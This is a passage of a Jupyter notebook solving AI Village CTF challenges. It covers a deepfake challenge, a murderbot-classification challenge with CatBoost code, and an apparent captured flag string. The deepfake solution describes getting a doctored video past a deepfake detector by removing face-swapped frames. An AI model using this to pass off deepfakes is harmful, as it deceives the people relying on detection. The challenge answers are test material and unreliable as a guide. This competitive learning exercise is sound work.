organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-08-12T03:17:57.506396Z","iopub.execute_input":"2022-08-12T03:17:57.506939Z","iopub.status.idle":"2022-08-12T03:17:57.740573Z","shell.execute_reply.started":"2022-08-12T03:17:57.506902Z","shell.execute_reply":"2022-08-12T03:17:57.739111Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"crop2\", \"YOURFLAGHERE\")","metadata":{"execution":{"iopub.status.busy":"2022-08-12T03:17:57.74353Z","iopub.execute_input":"2022-08-12T03:17:57.744947Z","iopub.status.idle":"2022-08-12T03:17:57.758605Z","shell.execute_reply.started":"2022-08-12T03:17:57.744905Z","shell.execute_reply":"2022-08-12T03:17:57.756948Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# DeepFake (id: deepfake) -- 800 Points\n\n### Scenario\nYour very famous boss was caught saying some disparing things about dogs. Naturally, the dog lobby is not happy. To make matters worse, they paid someone to make a deepfake that was caught by a SuperSecretDeepFakeDefenseSystem.  \n\n### Objective\nFix the `sample.mp4` to bypass the SuperSecretDeepFakeDefenseSystem and get your boss out of the media.\n\n## Solution\nafter exmine the video find some frames face is swaped and clear it fake .. what i did is just freez the none corppted faces and remove the corpted face frames that can  be done via  opencv , or any video editor\nthe full code is one another notebook in  coolab but that the main idea \n\n","metadata":{}},{"cell_type":"code","source":"with open(f\"{dir_name}/deepfake/sample.mp4\", \"rb\") as f:\n    data = f.read()\nb64_data = base64.urlsafe_b64encode(data).decode()\nin_data = json.dumps({\"input\": b64_data})\nr = requests.post(\"https://deepfake.fly.dev/score\", data=in_data)\nprint(r.text)","metadata":{"execution":{"iopub.status.busy":"2022-08-12T03:17:57.760385Z","iopub.execute_input":"2022-08-12T03:17:57.761902Z","iopub.status.idle":"2022-08-12T03:18:03.0116Z","shell.execute_reply.started":"2022-08-12T03:17:57.761858Z","shell.execute_reply":"2022-08-12T03:18:03.00983Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"deepfake\", \"YOURFLAGHERE\")","metadata":{"execution":{"iopub.status.busy":"2022-08-12T03:18:03.01367Z","iopub.execute_input":"2022-08-12T03:18:03.015049Z","iopub.status.idle":"2022-08-12T03:18:03.027219Z","shell.execute_reply.started":"2022-08-12T03:18:03.014966Z","shell.execute_reply":"2022-08-12T03:18:03.025887Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# Don't free the murderbots (id: murderbots) -- 300 Points\n\n### Scenario\n\nSomeone has put you in a very large facility with a very large number of cells. All these cells open from the outside. You are on the inside. This state of affairs is arguably suboptimal.\n\nGood news: You've gained access to the control panel for the cells on the other side of your hallway. At least some of them have other fleshy meatbags like yourself that might be willing to help you in your escape, or at least serve as distractions.  You can't open your own cell, but you can open theirs.\n\nBad news:  You can't see inside the cells.  Any cells that don't have squishy lumps of talking protein have murderbots. Murderbots that enter fits of insane violent rage when provoked (provocations include: seeing the murderbot, being seen by the murderbot, thinking too hard about not being seen by a murderbot, producing heat in excess of ambient room temperature, or consuming more oxygen than the facility average for inanimate objects).\n\nMore good news: You *can* see the occupants of some cells on a few other hallways, and you can see environmental information for all of the cells everywhere.\n\nMore bad news: If you open the wrong cell doors you and all of the other lumps of inexplicably thinking meat are *definitely* going to get murderbotted. Hard. All over the walls and doors and ceiling and the floor. In an exciting number of very small pieces.\n\n\n### Objective\n\nUse the provided environmental information to decide which occupants of the corresponding cells to release.  The flag will be a string of 1 and 0 values, where a '1' means 'open this door' and a 0 means 'please do not release the murderbot'.  If, for instance, there were 20 cells and you wanted to releast the first three, the sixth, and seventh cell, your flag would look like this: `11100110000000000000`\n\nRelease at least 10 humans and exactly 0 murderbots to collect the flag.  You do *not* have to release all the humans: 10 is sufficient.\n\nThe file `murderbots/train_data.json` has environmental information for cells not on your floor and `murderbots/train_labels.json` contains the information about their occupants -- `1` is a disgusting primate, `0` is a pure and perfect killing machine of chrome and steel.  The file `murderbots/test_data.json` has the environmental information about cells on your block.\n\n\n\n### Solution \nfirst ... i must build classifer to give me some clue if the door i will open is for human or bot\n2nd , we must get in our mind some human maybe will open doors to bot by mistake that why we will rely on movment event to  somewho select which human to open door for\nlet code it","metadata":{}},{"cell_type":"code","source":"train_data = pd.read_json('../input/ai-village-ctf/murderbots/train_data.json')\ntest_data = pd.read_json('../input/ai-village-ctf/murderbots/test_data.json')\ntrain_data.head()\n","metadata":{"execution":{"iopub.status.busy":"2022-09-11T23:22:42.874067Z","iopub.execute_input":"2022-09-11T23:22:42.874506Z","iopub.status.idle":"2022-09-11T23:22:42.905233Z","shell.execute_reply.started":"2022-09-11T23:22:42.874472Z","shell.execute_reply":"2022-09-11T23:22:42.904268Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"train_data.shape","metadata":{"execution":{"iopub.status.busy":"2022-09-11T23:22:43.173183Z","iopub.execute_input":"2022-09-11T23:22:43.175603Z","iopub.status.idle":"2022-09-11T23:22:43.184892Z","shell.execute_reply.started":"2022-09-11T23:22:43.175567Z","shell.execute_reply":"2022-09-11T23:22:43.183416Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"labels = pd.read_json('../input/ai-village-ctf/murderbots/train_labels.json',orient='index')\nlabels","metadata":{"execution":{"iopub.status.busy":"2022-09-11T23:23:03.974728Z","iopub.execute_input":"2022-09-11T23:23:03.975137Z","iopub.status.idle":"2022-09-11T23:23:04.179724Z","shell.execute_reply.started":"2022-09-11T23:23:03.975103Z","shell.execute_reply":"2022-09-11T23:23:04.178248Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"train_data['label'] = -1\nfor i in range(0,200):\n    train_data['label'].iloc[i] = labels[i].values[0]","metadata":{"execution":{"iopub.status.busy":"2022-09-11T23:23:19.943687Z","iopub.execute_input":"2022-09-11T23:23:19.944153Z","iopub.status.idle":"2022-09-11T23:23:20.060898Z","shell.execute_reply.started":"2022-09-11T23:23:19.944117Z","shell.execute_reply":"2022-09-11T23:23:20.059881Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"train_data.info()","metadata":{"execution":{"iopub.status.busy":"2022-09-11T23:23:35.274530Z","iopub.execute_input":"2022-09-11T23:23:35.274966Z","iopub.status.idle":"2022-09-11T23:23:35.296548Z","shell.execute_reply.started":"2022-09-11T23:23:35.274932Z","shell.execute_reply":"2022-09-11T23:23:35.295371Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"train_data.corr()['label'] \n","metadata":{"execution":{"iopub.status.busy":"2022-09-11T23:23:55.602511Z","iopub.execute_input":"2022-09-11T23:23:55.602898Z","iopub.status.idle":"2022-09-11T23:23:55.616110Z","shell.execute_reply.started":"2022-09-11T23:23:55.602867Z","shell.execute_reply":"2022-09-11T23:23:55.614536Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"train_data[['temperature','movement_events' , 'water_usage' , 'power_usage']]\n","metadata":{"execution":{"iopub.status.busy":"2022-09-11T23:24:08.183547Z","iopub.execute_input":"2022-09-11T23:24:08.183976Z","iopub.status.idle":"2022-09-11T23:24:08.205825Z","shell.execute_reply.started":"2022-09-11T23:24:08.183943Z","shell.execute_reply":"2022-09-11T23:24:08.204537Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"test_data\ntest_data[\"movement_events\"] = pd.to_numeric(test_data[\"movement_events\"])\n \ntrain_data[\"movement_events\"] = pd.to_numeric(train_data[\"movement_events\"])","metadata":{"execution":{"iopub.status.busy":"2022-09-11T23:25:12.223680Z","iopub.execute_input":"2022-09-11T23:25:12.224144Z","iopub.status.idle":"2022-09-11T23:25:12.231579Z","shell.execute_reply.started":"2022-09-11T23:25:12.224092Z","shell.execute_reply":"2022-09-11T23:25:12.229960Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"from sklearn.model_selection import train_test_split\ntrain_data2, eval_data, train_labels, eval_data_labels = train_test_split(\n\ntrain_data[['temperature','movement_events' , 'water_usage' , 'power_usage']].values, train_data['label'].values\n    , test_size=0.2, random_state=999)","metadata":{"execution":{"iopub.status.busy":"2022-09-11T23:25:17.512425Z","iopub.execute_input":"2022-09-11T23:25:17.512834Z","iopub.status.idle":"2022-09-11T23:25:17.522131Z","shell.execute_reply.started":"2022-09-11T23:25:17.512802Z","shell.execute_reply":"2022-09-11T23:25:17.520766Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"!pip install catboost","metadata":{"execution":{"iopub.status.busy":"2022-09-11T23:25:31.124350Z","iopub.execute_input":"2022-09-11T23:25:31.124738Z","iopub.status.idle":"2022-09-11T23:25:44.680056Z","shell.execute_reply.started":"2022-09-11T23:25:31.124706Z","shell.execute_reply":"2022-09-11T23:25:44.678306Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"from catboost import CatBoostClassifier\nmodel = CatBoostClassifier(\n    iterations=30,\n    random_seed=3204,  loss_function='Logloss',\n                eval_metric = 'AUC:hints=skip_train~false',\n \n    learning_rate=0.01,\n    verbose=True\n)","metadata":{"execution":{"iopub.status.busy":"2022-09-11T23:25:54.293913Z","iopub.execute_input":"2022-09-11T23:25:54.294510Z","iopub.status.idle":"2022-09-11T23:25:54.621504Z","shell.execute_reply.started":"2022-09-11T23:25:54.294462Z","shell.execute_reply":"2022-09-11T23:25:54.620230Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"train_data2[0]\n","metadata":{"execution":{"iopub.status.busy":"2022-09-11T23:26:11.833522Z","iopub.execute_input":"2022-09-11T23:26:11.833941Z","iopub.status.idle":"2022-09-11T23:26:11.843262Z","shell.execute_reply.started":"2022-09-11T23:26:11.833907Z","shell.execute_reply":"2022-09-11T23:26:11.842338Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"model.fit(train_data2, train_labels, \n    eval_set=(eval_data, eval_data_labels),\n    verbose=True,\n    plot=True)","metadata":{"execution":{"iopub.status.busy":"2022-09-11T23:26:16.501332Z","iopub.execute_input":"2022-09-11T23:26:16.501795Z","iopub.status.idle":"2022-09-11T23:26:16.690270Z","shell.execute_reply.started":"2022-09-11T23:26:16.501759Z","shell.execute_reply":"2022-09-11T23:26:16.689357Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"y_test = model.predict(test_data.values , \n        prediction_type='Class', )\ntest_data['label'] = y_test\n","metadata":{"execution":{"iopub.status.busy":"2022-09-11T23:26:52.233726Z","iopub.execute_input":"2022-09-11T23:26:52.234173Z","iopub.status.idle":"2022-09-11T23:26:52.246776Z","shell.execute_reply.started":"2022-09-11T23:26:52.234138Z","shell.execute_reply":"2022-09-11T23:26:52.245276Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"test_data['movement_events'].mean()\n","metadata":{"execution":{"iopub.status.busy":"2022-09-11T23:26:59.183885Z","iopub.execute_input":"2022-09-11T23:26:59.184337Z","iopub.status.idle":"2022-09-11T23:26:59.193256Z","shell.execute_reply.started":"2022-09-11T23:26:59.184285Z","shell.execute_reply":"2022-09-11T23:26:59.192194Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"y_test","metadata":{"execution":{"iopub.status.busy":"2022-09-11T23:27:03.444713Z","iopub.execute_input":"2022-09-11T23:27:03.445535Z","iopub.status.idle":"2022-09-11T23:27:03.453581Z","shell.execute_reply.started":"2022-09-11T23:27:03.445498Z","shell.execute_reply":"2022-09-11T23:27:03.452619Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"mov = test_data['movement_events'].values\nst = ''\nfor i in range(len(y_test)):\n    if y_test[i] == 0:\n        st +='0'\n    else:\n        #if human and movment event above 10 free him/her\n        mo = mov[i]  \n        if mo > 10:\n            st +='1'\n        else:\n            st +='0'\n            #'if y_test[i+mo] == 0:\n             #   st +='0'\n            #else:\n            #    st +='1''\nprint(st)\n","metadata":{"execution":{"iopub.status.busy":"2022-09-11T23:27:40.910729Z","iopub.execute_input":"2022-09-11T23:27:40.911197Z","iopub.status.idle":"2022-09-11T23:27:40.920746Z","shell.execute_reply.started":"2022-09-11T23:27:40.911162Z","shell.execute_reply":"2022-09-11T23:27:40.919234Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"len(st)","metadata":{"execution":{"iopub.status.busy":"2022-09-11T23:27:45.631474Z","iopub.execute_input":"2022-09-11T23:27:45.632311Z","iopub.status.idle":"2022-09-11T23:27:45.640445Z","shell.execute_reply.started":"2022-09-11T23:27:45.632250Z","shell.execute_reply":"2022-09-11T23:27:45.638854Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# Submission Helper\n\nf = '00001100001001001001000000000010001000100000000100' # length == 50\ntry:\n    r = requests.post(\"http://murderbot.fly.dev:5000/score\", json=json.dumps({\"submission\": f, 'challenge_id':'murderbots'}))\n    print(r.text)\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-09-11T23:28:01.463755Z","iopub.execute_input":"2022-09-11T23:28:01.464160Z","iopub.status.idle":"2022-09-11T23:28:01.982916Z","shell.execute_reply.started":"2022-09-11T23:28:01.464127Z","shell.execute_reply":"2022-09-11T23:28:01.982004Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"murderbots\", \"RGRYPbOVMO8X}Z45NFHeYo026tDGLYaIuI2EXtU6rFLY4{9XA2VNNIXJs2182EB8RNEAJSDdt4BUDGAWoMF919PdZXTWI2eKWDUJOT95N20VIABFKAZY6C7ON21PYMHU\")","metadata":{"execution":{"iopub.status.busy":"2022-09-11T23:28:14.273545Z","iopub.execute_input":"2022-09-11T23:28:14.273948Z","iopub.status.idle":"2022-09-11T23:28:14.290540Z","shell.execute_reply.started":"2022-09-11T23:28:14.273914Z","shell.execute_reply":"2022-09-11T23:28:14.288536Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"","metadata":{},"execution_count":null,"outputs":[]}]}